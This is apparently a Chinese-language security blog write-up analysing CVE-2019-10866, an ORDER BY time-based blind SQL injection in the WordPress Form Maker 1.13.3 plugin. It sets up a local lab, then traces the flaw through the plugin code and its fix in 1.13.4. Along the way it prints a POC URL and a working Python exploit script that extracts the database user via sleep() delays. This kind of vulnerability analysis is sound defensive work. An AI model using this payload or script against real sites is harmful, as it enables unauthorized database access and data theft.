Form Maker 1.13.3 SQL注入分析(CVE-2019-10866)

WordPress插件Form Maker 1.13.3SQL注入漏洞(CVE-2019-10866)的分析。
本文首发先知社区

前言

最近在复习SQL注入的一些知识,对于order by后面的注入遇到的不是很多,正好五月底WordPress的一个表单生成器插件出了一个SQL注入漏洞,恰好是order by的问题,于是拿来分析一波。如有错误,还望师傅们批评指正。

1. 环境搭建

运行环境很简单,只是在vulapps的基础环境的上加了xdebug调试插件,把docker容器作为远程服务器来进行调试。
Dockerfile文件:

1
2
3
4
5
6
FROM medicean/vulapps:base_lamp_php7

RUN pecl install xdebug

COPY php.ini /etc/php/7.0/apache2/
COPY php.ini /etc/php/7.0/cli/

docker-compose文件:

1
2
3
4
5
6
7
8
9
version: '3'
services:
lamp-php7:
build: .
ports:
- "80:80"
volumes:
- "/Users/mengchen/Security/Code Audit/html:/var/www/html"
- "/Users/mengchen/Security/Code Audit/tmp:/tmp"

php.inixdebug的配置

1
2
3
4
5
6
7
8
9
[xdebug]
zend_extension="/usr/lib/php/20151012/xdebug.so"
xdebug.remote_enable=1
xdebug.remote_host=10.254.254.254
xdebug.remote_port=9000
xdebug.remote_connect_back=0
xdebug.profiler_enable=0
xdebug.idekey=PHPSTORM
xdebug.remote_log="/tmp/xdebug.log"

因为我是在Mac上,所以要给本机加一个IP地址,让xdebug能够连接。

1
sudo ifconfig lo0 alias 10.254.254.254

PHPStorm也要配置好相对路径:

插件下载地址:

1
https://downloads.wordpress.org/plugin/form-maker.1.13.3.zip

WordPress使用最新版就可以,在这里我使用的版本是5.2.2,语言选的简体中文。

PS: WordPress搭建完毕后,记得关闭自动更新。

2. POC

1
http://127.0.0.1/wp-admin/admin.php?page=submissions_fm&task=display&current_id=2&order_by=group_id&asc_or_desc=,(case+when+(select+ascii(substring(user(),1,1)))%3d114+then+(select+sleep(5)+from+wp_users+limit+1)+else+2+end)+asc%3b

Python脚本,修改自exploit-db

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#coding:utf-8
import requests
import time

vul_url = "http://127.0.0.1/wp-admin/admin.php?page=submissions_fm&task=display&current_id=2&order_by=group_id&asc_or_desc="
S = requests.Session()
S.headers.update({"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:66.0) Gecko/20100101 Firefox/66.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "zh-CN,en;q=0.8,zh;q=0.5,en-US;q=0.3", "Referer": "http://127.0.0.1/wp-login.php?loggedout=true", "Content-Type": "application/x-www-form-urlencoded", "Connection": "close", "Upgrade-Insecure-Requests": "1"})
length = 0
TIME = 3
username = "admin"
password = "admin"

def login(username, password):
data = {
"log": "admin",
"pwd": "admin",
"wp-submit": "\xe7\x99\xbb\xe5\xbd\x95",
"redirect_to": "http://127.0.0.1/wp-admin/",
"testcookie": "1"
}
r = S.post('http://127.0.0.1/wp-login.php', data=data, cookies = {"wordpress_test_cookie": "WP+Cookie+check"})


def attack():
flag = True
data = ""
length = 1
while flag:
flag = False
tmp_ascii = 0
for ascii in range(32, 127):
tmp_ascii = ascii
start_time = time.time()
payload = "{vul_url},(case+when+(select+ascii(substring(user(),{length},1)))%3d{ascii}+then+(select+sleep({TIME})+from+wp_users+limit+1)+else+2+end)+asc%3b".format(vul_url=vul_url, ascii=ascii, TIME=TIME, length=length)
#print(payload)
r = S.get(payload)
tmp = time.time() - start_time
if tmp >= TIME:
flag = True
break
if flag:
data += chr(tmp_ascii)
length += 1
print(data)
login(username, password)
attack()

3. 漏洞分析

3.1 漏洞利用流程分析

根据POC,我们很容易知道,注入点在参数asc_or_desc上,根据它的命名,极有可能是order by之后的注入。
首先大致浏览下插件目录下的文件结构:

很经典的MVC架构,但是有点无从下手,还是从POC出发吧,

首先全局搜索字符串asc_or_desc,根据传入的参数page=submissions_fm&task=display,以及我们搜索到的结果,可以猜测,submissions_fm就是指代的调用的插件文件,display就是要调用的方法。

在这里下一个断点验证一下。

根据函数调用栈,我们很容易就能知道,在form-maker.php:502, WDFM->form_maker()处,代码将FMControllerSubmissions_fm进行了实例化,然后调用了它的execute()方法。

接下来就进入了Submissions_fm.php:93, FMControllerSubmissions_fm->execute()

获取传入的taskcurrent_id,动态调用FMControllerSubmissions_fm类的方法display,并将current_id的值作为参数传入。

后面依次进入了modelFMModelSubmissions_fm中的get_forms()get_statistics();blocked_ips()方法,分别跟进之后并没有发现调用asc_or_desc参数。

继续往下,进入类FMModelSubmissions_fmget_labels_parameters方法。
路径:wp-content/plugins/form-maker/admin/models/Submissions_fm.php:93

到了第133行:

代码从这里获取了传入的asc_or_desc的值,并将其存入了$asc_or_desc变量中。

跟进一下,看一看代码对其进行了怎样的处理。

路径:wp-content/plugins/form-maker/framework/WDW_FM_Library.php:367

根据传入的键值asc_or_desc,动态调用$_GET[$key],把值存入$value中,然后传入了静态私有方法validate_data()

继续跟进,在第395

使用stripslashes()函数去除了value中的反斜杠,又因为$esc_htmltrue,进入了esc_html

WordPress手册中,可以查到它的作用是将传入的值转义为HTML块。

跟进一下,我们可以看到代码调用了两个WordPress的内置方法对传入的value值进行了处理
路径wp-includes/formatting.php:4348

WordPress手册中,能查到_wp_specialchars是对&<>"'进行了HTML实体编码。

可以知道,在获取asc_or_desc参数的过程中,只过滤了\&<>"'

然后回到get_labels_parameters接着往下看。

在第161行,因为传入的$order_by == group_id满足条件,成功将$asc_or_desc,拼接到了变量$orderby中。

后面虽然有一些查询操作,但是都没有拼接$orderby,也没有对其做进一步的过滤处理。
导致在第311行,Payload拼接进入了SQL语句,然后在312行进行了数据库查询操作。

看一下数据库的日志也能看到,执行了SQL语句:

1
SELECT distinct group_id FROM wp_formmaker_submits WHERE  form_id=2  ORDER BY group_id ,(case when (select ascii(substring(user(),1,1)))=114 then (select sleep(5) from wp_users limit 1) else 2 end) asc;

mysql中执行一下,由于when后面的条件成立,语句中的sleep(5)生效了。

到这里,整个POC的执行流程我们就看完了。

3.2 漏洞原理分析

简单总结一下,我们传入参数?page=submissions_fm&task=display,让代码走到了存在漏洞的方法get_labels_parameters中。

而方法get_labels_parameters中,在获取参数asc_or_desc的值的过程中,基本没有进行过滤,就将其拼接进入了SQL语句中,并执行,导致了SQL注入。

4. 补丁分析

我们将1.13.3版本的插件卸载掉,安装一下1.13.4版本,查看一下是如何修复的。

路径:wp-content/plugins/form-maker/admin/models/Submissions_fm.php:133

简单粗暴,限制了asc_or_desc的值只能为descasc其中的一个。

5. 参考链接